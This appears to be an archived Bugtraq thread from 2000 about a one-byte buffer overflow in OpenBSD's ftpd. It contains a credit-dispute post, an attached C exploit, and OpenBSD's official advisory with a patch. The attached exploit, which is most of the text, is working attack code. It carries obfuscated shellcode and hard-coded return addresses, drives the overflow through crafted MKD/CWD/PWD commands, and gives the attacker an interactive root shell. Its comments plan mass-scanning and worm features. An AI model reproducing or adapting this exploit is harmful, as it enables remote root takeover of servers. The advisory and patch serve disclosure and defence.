5877168 2000-12-19 07:36 +0300  /23 rader/ jimjones <jimjones@LOW-LEVEL.NET>
Sänt av: joel@lysator.liu.se
Importerad: 2000-12-19  22:24  av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: jimjones@LOW-LEVEL.NET
Mottagare: Bugtraq (import) <14319>
Ärende: OBSD ftpd exploit clarification
------------------------------------------------------------
It is always sad when something like this has to be posted, but I am
only doing this to give proper credit where it is due.  As we all
know, the OBSD ftpd replydirname() came to light with the post by
Kristian Vlaardingerbroek <kris@obit.nl> Did he discover it? No. Did
he give credit for the code or the discovery? No.  The fact of the
matter is that this post came from a personal, real-life friend of
scrippie's who gained his trust and exploited this trust in order to
shamelessly steal and post this vulnerability in a pitiful attempt to
gain fame.  In fact, the originator of this post did not even know
how to fully patch the bug without allowing a remote DOS condition to
still exist.  The brunt of the work in the development of this
exploit was done by scrippie and dvorak and they certainly deserve
all due credit for their *-ORIGINAL-* exploitation of this
vulnerability.  The condition was discovered 11/06/2000 and the
exploit was created a week afterwards.

Thanks, and let's hope that somebody learns from this post to consider
friendship and trust before plagiarism and duplicity for public
recognition.
(5877168) --------------------------------(Ombruten)
Bilaga (text/plain) i text 5877169
5877169 2000-12-19 07:36 +0300  /493 rader/ jimjones <jimjones@LOW-LEVEL.NET>
Bilagans filnamn: "obsd-ftpd.c"
Importerad: 2000-12-19  22:24  av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: jimjones@LOW-LEVEL.NET
Mottagare: Bugtraq (import) <14320>
Bilaga (text/plain) till text 5877168
Ärende: Bilaga (obsd-ftpd.c) till: OBSD ftpd exploit clarification
------------------------------------------------------------
/*
   h0h0h0 0-day k0d3z
   Exploit by Scrippie, help by dvorak and jimjones

   greets to sk8

   Not fully developt exploit but it works most of the time ;)

   Things to add:
      - automatic writeable directory finding
      - syn-scan option to do mass-scanning
      - worm capabilities? (should be done seperatly using the -C
option
	
   11/13/2000
*/

#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>


void usage(char *program);
char *strcreat(char *, char *, int);
char *longToChar(unsigned long);
char *xrealloc(void *, size_t);
void xfree(char **ptr);
char *xmalloc(size_t);
int xconnect(char *host, u_short port);
void xsend(int fd, char *buf);
void xsendftpcmd(int fd, char *command, char *param);
void xrecieveall(int fd, char *buf, int size);
void xrecieve(int fd, char *buf, int size);
void ftp_login(int fd, char *user, char *password);
void exploit(int fd);

int verbose = 0;


/*
   Written by dvorak, garbled up by "Smegma" with a word xor 0xaabb mask
   to get rid of dots and slashes.
*/

char heavenlycode[] =
"\x31\xc0\x89\xc1\x80\xc1\x02\x51\x50\x04\x5a\x50\xcd\x80"
"\xeb\x10\x5e\x31\xc9\xb1\x4a\x66\x81\x36\xbb\xaa\x46\x46\xe2\xf7\xeb\x05\xe8\xeb\xff\xff\xff\xff\xff\xff\x50\xcf\xe5\x9b\x7b\xfa\xbf\xbd\xeb\x67\x3b\xfc\x8a\x6a\x33\xec\xba\xae\x33\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\xb5\x36\xf4\xa5\xf9\xbf\xaf\xeb\x67\x3b\x23\x7a\xfc\x8a\x6a\xbf\x97\xeb\x67\x3b\xfb\x8a\x6a\xbf\xa4\xf3\xfa\x76\x2a\x36\xf4\xb9\xf9\x8a\x6a\xbf\xa6\xeb\x67\x3b\x27\xe5\xb4\xe8\x9b\x7b\xae\x86\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\x8d\x36\xf4\x93\xf9\x36\xf4\x9b\x23\xe5\x82\x32\xec\x97\xf9\xbf\x91\xeb\x67\x3b\x42\x2d\x55\x44\x55\xfa\xeb\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\xeb\x94\xc8\xd2\xc4\x94\xd9\xd3";

char user[255] = "anonymous";
char pass[255] = "anonymous@abc.com";
char write_dir[PATH_MAX] = "/";
int ftpport = 21;
unsigned long int ret_addr = 0;
#define CMD_LOCAL 0
#define CMD_REMOTE 1
int command_type = -1;
char *command = NULL;

struct typeT {
	char *name;
	unsigned long int ret_addr;
};

#define NUM_TYPES 2
struct typeT types[NUM_TYPES] = {
	"OpenBSD 2.6", 0xdfbfd0ac,
	"OpenBSD 2.7", 0xdfbfd0ac};

void
usage(char *program)
{
	int i;
	fprintf(stderr,
		"\nUsage: %s [-h host] [-f port] [-u user] [-p pass] [-d directory] [-t type]\n\t\t[-r retaddr] [-c command] [-C command]\n\n"
		"Directory should be an absolute path, writable by the user.\n"
		"The argument of -c will be executed on the remote host\n"
		"while the argument of -C will be executed on the local\n"
		"with its filedescriptors connected to the remote host\n"
		"Valid types:\n",
		program);
	for (i = 0; i < NUM_TYPES; i++) {
		printf("%d : %s\n", i,  types[i].name);
	}	
	exit(-1);
}


main(int argc, char **argv)
{
	unsigned int i;
	int opt, fd;
	unsigned int type = 0;
	char *hostname = "localhost";

	if (argc < 2)
		usage(argv[0]);

	while ((opt = getopt(argc, argv, "h:r:u:f:d:t:vp:c:C:")) != -1) {
		switch (opt) {
		case 'h':
			hostname = optarg;
			break;
		case 'C':
			command = optarg;
			command_type = CMD_LOCAL;
			break;
		case 'c':
			command = optarg;
			command_type = CMD_REMOTE;
			break;
		case 'r':
			ret_addr = strtoul(optarg, NULL, 0);
			break;
		case 'v':
			verbose++;
			break;
		case 'f':
			if (!(ftpport = atoi(optarg))) {
				fprintf(stderr, "Invalid destination port - %s\n", optarg);
				exit(-1);
			}
			exit(-1);
			break;
		case 'u':
			strncpy(user, optarg, sizeof(user) - 1);
			user[sizeof(user) - 1] = 0x00;
			break;
		case 'p':
			strncpy(pass, optarg, sizeof(pass) - 1);
			pass[sizeof(pass) - 1] = 0x00;
			break;
		case 'd':
			strncpy(write_dir, optarg, sizeof(write_dir) - 1);
			write_dir[sizeof(write_dir) - 1] = 0x00;
			if ((write_dir[0] != '/')) 
				usage(argv[0]);
			if ((write_dir[strlen(write_dir) - 1] != '/'))
				strncat(write_dir, "/", sizeof(write_dir) - 1);
			break;
		case 't':
			type = atoi(optarg);
			if (type > NUM_TYPES)
				usage(argv[0]);
			break;
		default:
			usage(argv[0]);
		}
	}

	if (ret_addr == 0)
		ret_addr = types[type].ret_addr;
	if ((fd = xconnect(hostname, ftpport)) == -1)
		exit(-1);
	else
		printf("Connected to remote host! Sending evil codes.\n");


	ftp_login(fd, user, pass);
	exploit(fd);


}

int
ftp_cmd_err(int fd, char *command, char *param, char *res, int size, char * msg)
{
	xsendftpcmd(fd, command, param);
	xrecieveall(fd, res, size);

	if (res == NULL)
		return 0;
	if (verbose)
		printf("%s\n", res);
	if (msg && (res[0] != '2')) {
		fprintf(stderr, "%s\n", msg);
		exit(-1);
	}
	return (res[0] != '2');
}

void shell(int fd)
{
	fd_set readfds;
	char buf[1];
	char *tst = "echo ; echo ; echo HAVE FUN ; id ; uname -a\n";

	write(fd, tst, strlen(tst));
	while (1) {
		FD_ZERO(&readfds);
		FD_SET(0, &readfds);
		FD_SET(fd, &readfds);
		select(fd + 1, &readfds, NULL, NULL, NULL);
		if (FD_ISSET(0, &readfds)) {
			if (read(0, buf, 1) != 1) {
				perror("read");
				exit(1);
			}
			write(fd, buf, 1);
		}
		if (FD_ISSET(fd, &readfds)) {
			if (read(fd, buf, 1) != 1) {
				perror("read");
				exit(1);
			}
			write(1, buf, 1);
		}
	}
}

void do_command(int fd)
{
	char buffer[1024];
	int len;

	if (command_type == CMD_LOCAL) {
		dup2(fd, 0);
		dup2(fd, 1);
		dup2(fd, 2);
		execl(command, command, NULL);	
		exit (2);
	}
	write(fd, command, strlen(command));
	write(fd, "\n", 1);
	while ((len = read(fd, buffer, sizeof(buffer))) > 0) {
		write(1, buffer, len);
	}
	exit (0);
}

void execute_command(fd) 
{
}

int exploit_ok(int fd)
{
	char result[1024];
	xsend(fd, "id\n");
	
	xrecieve(fd, result, sizeof(result));
	return (strstr(result, "uid=") != NULL);
}

void exploit(int fd)
{
	char res[1024];
	int heavenlycode_s;
	char *dir = NULL;

	ftp_cmd_err(fd, "CWD", write_dir, res, 1024, "Can't CWD to
write_dir");

	dir = strcreat(dir, "A", 255 - strlen(write_dir));
	ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL); ftp_cmd_err(fd,
	"CWD", dir, res, 1024, "Can't change to directory");
	xfree(&dir);
	
	/* next on = 256 */

	dir = strcreat(dir, "A", 255);
	ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
	ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
	xfree(&dir);
	/* next on = 512 */

	heavenlycode_s = strlen(heavenlycode);
	dir = strcreat(dir, "A", 254 - heavenlycode_s);
	dir = strcreat(dir, heavenlycode, 1);
	ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
	ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
	xfree(&dir);
	/* next on = 768 */

	dir = strcreat(dir, longToChar(ret_addr), 252 / 4);
	ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
	ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
	xfree(&dir);
	/* length = 1020 */

	/* 1022 moet " zijn */
	dir = strcreat(dir, "AAA\"", 1);
	ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
	ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
	xfree(&dir);

	/* and tell it to blow up */
	ftp_cmd_err(fd, "PWD", NULL, res, 1024, NULL);

	if (!exploit_ok(fd)) {
		if (command != NULL) {
			exit (2);
		} 
		fprintf(stderr, "Exploit failed\n");	
		exit (1);
	}
	if (command == NULL)
		shell(fd);
	else
		do_command(fd);
}


char *
strcreat(char *dest, char *pattern, int repeat)
{
	char *ret;
	size_t plen, dlen = 0;
	int i;

	if (dest)
		dlen = strlen(dest);
	plen = strlen(pattern);

	ret = (char *) xrealloc(dest, dlen + repeat * plen + 1);

	if (!dest)
		ret[0] = 0x00;

	for (i = 0; i < repeat; i++) {
		strcat(ret, pattern);
	}
	return (ret);
}

char *
longToChar(unsigned long blaat)
{
	char *ret;

	ret = (char *) xmalloc(sizeof(long) + 1);
	memcpy(ret, &blaat, sizeof(long));
	ret[sizeof(long)] = 0x00;

	return (ret);
}

char *
xrealloc(void *ptr, size_t size)
{
	char *wittgenstein_was_a_drunken_swine;

	if (!(wittgenstein_was_a_drunken_swine = (char *) realloc(ptr, size))) {
		fprintf(stderr, "Cannot calculate universe\n");
		exit(-1);
	}
	return (wittgenstein_was_a_drunken_swine);
}

void
xfree(char **ptr)
{
	if (!ptr || !*ptr)
		return;
	free(*ptr);
	*ptr = NULL;
}

char *
xmalloc(size_t size)
{
	char *heidegger_was_a_boozy_beggar;

	if (!(heidegger_was_a_boozy_beggar = (char *) malloc(size))) {
		fprintf(stderr, "Out of cheese error\n");
		exit(-1);
	}
	return (heidegger_was_a_boozy_beggar);
}


int
xconnect(char *host, u_short port)
{
	struct hostent *he;
	struct sockaddr_in s_in;
	int fd;

	if ((he = gethostbyname(host)) == NULL) {
		perror("gethostbyname");
		return (-1);
	}
	memset(&s_in, 0, sizeof(s_in));
	s_in.sin_family = AF_INET;
	s_in.sin_port = htons(port);
	memcpy(&s_in.sin_addr.s_addr, he->h_addr, he->h_length);

	if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
		perror("socket");
		return (-1);
	}
	if (connect(fd, (const struct sockaddr *) & s_in, sizeof(s_in)) == -1) {
		perror("connect");
		return (-1);
	}
	return fd;
}

/* returns status from ftpd */
void
ftp_login(int fd, char *user, char *password)
{
	char reply[512];
	int rep;
	xrecieveall(fd, reply, sizeof(reply));
	if (verbose) {
		printf("Logging in ..\n");
		printf("%s\n", reply);
	}
	xsendftpcmd(fd, "USER", user);
	xrecieveall(fd, reply, sizeof(reply));
	if (verbose)
		printf("%s\n", reply);
	xsendftpcmd(fd, "PASS", password);
	xrecieveall(fd, reply, sizeof(reply));
	if (verbose)
		printf("%s\n", reply);

	if (reply[0] != '2') {
		printf("Login failed.\n");
		exit(-1);
	}
}

void
xsendftpcmd(int fd, char *command, char *param)
{
	xsend(fd, command);

	if (param != NULL) {
		xsend(fd, " ");
		xsend(fd, param);
	}
	xsend(fd, "\r\n");
}


void
xsend(int fd, char *buf)
{

	if (send(fd, buf, strlen(buf), 0) != strlen(buf)) {
		perror("send");
		exit(-1);
	}
}

void
xrecieveall(int fd, char *buf, int size)
{
	char scratch[6];

	if (buf == NULL || size == 0) {
		buf = scratch;
		size = sizeof(scratch);
	}
	memset(buf, 0, size);
	do {
		xrecieve(fd, buf, size);
	} while (buf[3] == '-');
}
/* recieves a line from the ftpd */
void
xrecieve(int fd, char *buf, int size)
{
	char *end;
	char ch;

	end = buf + size;

	while (buf < end) {
		if (read(fd, buf, 1) != 1) {
			perror("read");	/* XXX */
			exit(-1);
		}
		if (buf[0] == '\n') {
			buf[0] = '\0';
			return;
		}
		if (buf[0] != '\r') {
			buf++;
		}
	}
	buf--;
	while (read(fd, buf, 1) == 1) {
		if (buf[0] == '\n') {
			buf[0] = '\0';
			return;
		}
	}
	perror("read");		/* XXX */
	exit(-1);
}
(5877169) --------------------------------(Ombruten)
5877411 2000-12-18 18:33 -0700  /152 rader/ Aaron Campbell <aaron@CVS.OPENBSD.ORG>
Sänt av: joel@lysator.liu.se
Importerad: 2000-12-20  00:56  av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: aaron@CVS.OPENBSD.ORG
Mottagare: Bugtraq (import) <14334>
Ärende: OpenBSD Security Advisory
------------------------------------------------------------
From: Aaron Campbell <aaron@CVS.OPENBSD.ORG>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <200012190133.eBJ1XEM20128@cvs.openbsd.org>

----------------------------------------------------------------------------

                        OpenBSD Security Advisory

                            December 18, 2000

             Single-byte buffer overflow vulnerability in ftpd

----------------------------------------------------------------------------

SYNOPSIS

A relatively obscure one-byte buffer overflow bug present in ftpd(8)
turns out to be a serious problem, yielding remote users root access
under certain conditions.  For a system to be vulnerable, ftpd must
have been explicitly enabled by the administrator (OpenBSD ships with
it OFF by default) and the attacker must have write access to at
least one directory.  Therefore, anonymous read-only FTP servers are
safe (we recommend applying the patch regardless, of course).
Non-anonymous FTP administrators should seriously consider using a
more secure transport like SSH.

A fix for this problem was committed on December 4th.  OpenBSD
developers became aware of a publicly available exploit on December
17th.

----------------------------------------------------------------------------

AFFECTED SYSTEMS

This vulnerability affects OpenBSD versions through 2.8.  FreeBSD is
reportedly not vulnerable.  NetBSD is vulnerable to the same bug and
a patch was applied to their tree on December 14th.

----------------------------------------------------------------------------

TECHNICAL DETAILS

The offending code is as follows:

	char npath[MAXPATHLEN];
	int i;

	for (i = 0; *name != '\0' && i < sizeof(npath) - 1; i++, name++) {
		npath[i] = *name;
		if (*name == '"')
			npath[++i] = '"';
	}
	npath[i] = '\0';

In <sys/param.h>, MAXPATHLEN is defined to be 1024 bytes.  The for()
construct here correctly bounds variable `i' to be < 1023, such that
when the loop has ended, no byte past npath[1023] may be written with
'\0'.  However, since `i' is also incremented in the nested
statements here, it can become as large as 1024, and npath[1024] is
past the end of the allocated buffer space.

----------------------------------------------------------------------------

RESOLUTION

OpenBSD does not ship with ftpd enabled by default.  If you are using
it, disable it until you are fixed by editing /etc/inetd.conf and
restarting the inetd(8) daemon.

Then, apply the fix below to your OpenBSD 2.8 source tree. The patch
is also available at http://www.openbsd.org/errata.html (005).

----------------------------------------------------------------------------

REFERENCES

The original bug report,

	http://www.geocrawler.com/lists/3/OpenBSD/254/75/4767480/

Security and errata,

	http://www.openbsd.org/security.html
	http://www.openbsd.org/errata.html

Olaf Kirch discusses one-byte overruns in a post to BUGTRAQ in 1998
with subject "The poisoned NUL byte",

	http://www.securityfocus.com/archive/1/10884

----------------------------------------------------------------------------

CREDITS

This vulnerability was first reported to OpenBSD Kristian
Vlaardingerbroek through the bugs@openbsd.org mailing list.  Kristian
acknowledged in a later post that it was Ronald (a.k.a. Scrippie) who
originally found the bug.

The fix provided in the original bug report is incorrect.  Credit
goes to Jun-ichiro itojun Hagino <itojun@openbsd.org> for applying a
safe fix to the OpenBSD 2.8-current tree.  This patch has also been
applied to the stable branch.

----------------------------------------------------------------------------

OPENBSD 2.8 PATCH

Apply by doing:
	cd /usr/src
	patch -p0 < 005_ftpd.patch

And then rebuild and install ftpd:
	cd libexec/ftpd
	make obj
	make depend
	make
	make install

Index: libexec/ftpd/ftpd.c
===================================================================
RCS file: /cvs/src/libexec/ftpd/ftpd.c,v
retrieving revision 1.79
diff -u -r1.79 ftpd.c
--- libexec/ftpd/ftpd.c	2000/09/15 07:13:45	1.79
+++ libexec/ftpd/ftpd.c	2000/12/05 17:06:29
@@ -1959,15 +1959,21 @@
 replydirname(name, message)
 	const char *name, *message;
 {
+	char *p, *ep;
 	char npath[MAXPATHLEN];
-	int i;

-	for (i = 0; *name != '\0' && i < sizeof(npath) - 1; i++,
name++) {
-		npath[i] = *name;
-		if (*name == '"')
-			npath[++i] = '"';
+	p = npath;
+	ep = &npath[sizeof(npath) - 1];
+	while (*name) {
+		if (*name == '"' && ep - p >= 2) {
+			*p++ = *name++;
+			*p++ = '"';
+		} else if (ep - p >= 1)
+			*p++ = *name++;
+		else
+			break;
 	}
-	npath[i] = '\0';
+	*p = '\0';
 	reply(257, "\"%s\" %s", npath, message);
 }
(5877411) --------------------------------(Ombruten)